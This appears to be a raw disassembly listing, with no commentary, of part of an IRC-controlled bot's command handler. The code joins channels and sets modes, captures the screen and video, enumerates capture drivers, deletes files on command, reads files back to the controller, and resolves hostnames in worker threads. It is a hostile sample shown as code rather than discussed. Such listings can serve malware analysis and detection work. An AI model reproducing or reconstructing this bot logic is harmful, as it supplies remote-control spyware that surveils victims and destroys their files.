		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A5A0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_408745:				; CODE XREF: sub_401ACD+6BFAj
		push	offset unk_42A56C


loc_40874A:				; CODE XREF: sub_401ACD+7542j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408759:				; CODE XREF: sub_401ACD+74CAj
					; sub_401ACD+7623j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40877A
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_40877A:				; CODE XREF: sub_401ACD+6C8Fj
					; sub_401ACD+72C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_409853
; ---------------------------------------------------------------------------


loc_40878B:				; CODE XREF: sub_401ACD+4A41j
					; sub_401ACD+4A58j
		push	7Fh
		lea	eax, [ebp+var_2214]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2194]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2114]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2090],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_208C],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_2218],	esi
		push	offset unk_42A538
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset sub_4143CB
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A4FC


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A4D0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset sub_413B77
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A494
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A48C
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A484
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E57C[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A478
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB24
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A484
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E57C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A45C


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A454
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A484
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E57C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A438
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_42A484
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E57C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A41C
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_42A3F4
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42CFF8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A3E8
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_427078	; Sleep
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42A3D4
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB08
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3B8
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A398
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A378


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A5CC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A350
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A320
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A304
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A2D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_42A2A0
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_42A264


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB664
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A234
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A20C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A1D8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_42A1A4
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_42A16C


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_42A138
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_42A0F8
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_42A0B8
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A094
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42A070
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_42A06C ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42A040


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A028
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_42A008
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429FEC
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429FD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_429F94


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429F7C
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_4	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F58
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset sub_415E1A
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		call	dword_427080	; DeleteFileA
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F3C
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A744
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429F18
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429EE8


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_429EC8
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_429E98
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB674	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB5EC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429E78
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CB6B8	; gethostbyname
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		jmp	short loc_409432
